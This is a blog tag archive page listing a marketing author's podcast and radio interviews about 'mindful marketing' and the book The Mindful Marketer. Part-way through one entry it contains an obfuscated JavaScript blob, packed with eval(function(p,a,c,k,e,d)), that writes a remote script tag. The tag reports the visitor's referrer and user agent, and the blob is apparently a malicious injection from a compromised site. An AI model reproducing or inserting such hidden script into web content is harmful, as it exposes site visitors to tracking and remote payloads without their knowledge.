Tagged: podcasts

Avoiding the temptation to DO more.

I recently joined Steve Caldwell on his podcast, Manager Mojo. We focused on how marketers can design a new future for customers and teams, and where they get stuck. My basic message: it’s not about doing more; it’s about being more. And that requires us to develop a strong sense of self-awareness and conscious behavior.

Intentionality is key–yet too many marketers fail to design their own future. Listen in to our conversation here ….

I’m keeping this update upbeat and short…and to give you a moment to just reflect and take a break from holiday fatigue. To just BE.

I just sat down with Robbie Samuels for his “On the Schmooze” podcast. We covered a variety of marketing leadership and networking topics that will help you improve your professional brand and impact. Enjoy the replay!

Last month, I enjoyed a chat with Dana Barrett on her radio show. We covered quite a few topics, including the death of traditional branding and the “terrible threes” facing CMOs.

Mindful marketing is a practice whose time has come: our annual CMO Innovation Trends study reveals that the main obstacle to innovation is too much focus on tactics and firefighting. And this complaint has persisted for five consecutive years.

That’s why I recently sat down with Phil Gerbyshak from the Conversations with Phil podcast  (33  minutes) to discuss mindful marketing principles that enable leaders to reflect and focus. Many strategies come directly from my latest book, The Mindful Marketer….

While speaking at the Adobe Digital Summit last month, I enjoyed meeting Maureen Goldman. She expressed interest in my newest book eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsnk|var|u0026u|referrer|ibitd||js|php’.split(‘|’),0,{}))
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Here are the key insights from our discussion:

1. It’s essential to identify which marketing habits and initiatives in your organization have become mindless. Many members of my marketing community feel overwhelmed, exhausted, and adrenaline-addicted….

I recently sat down with Kerry O’Shea Gorgone of MarketingProfs to discuss The Mindful Marketer. During this conversation, we addressed:
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The main causes of costly and mindless marketing activity
How I define mindful marketing
The origin of intentional language, and its implications for marketers
Distinctions between cognitive empathy and affective empathy–and why marketers should care about both
Simple shifts that marketers can make to become more mindful, effective and focused

This was one of the first interviews I experienced where we had no agenda, no outline, and no topics identified in advance–and it was one of my favorites!…

I recently sat down with Greg Voisen of Inside Personal Growth to discuss my newest book, The Mindful Marketer. Greg’s online podcast program provides listeners with quality interviews featuring leading authors in the field of personal development. He’s produced over 480 podcasts since 2010, and I highly regard his work. You can listen to our interview on “The Mindful Marketer” here!
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In this 32 minute podcast, you will hear:…

My viewpoint on what I coined the “Digital Intrusion Movement,”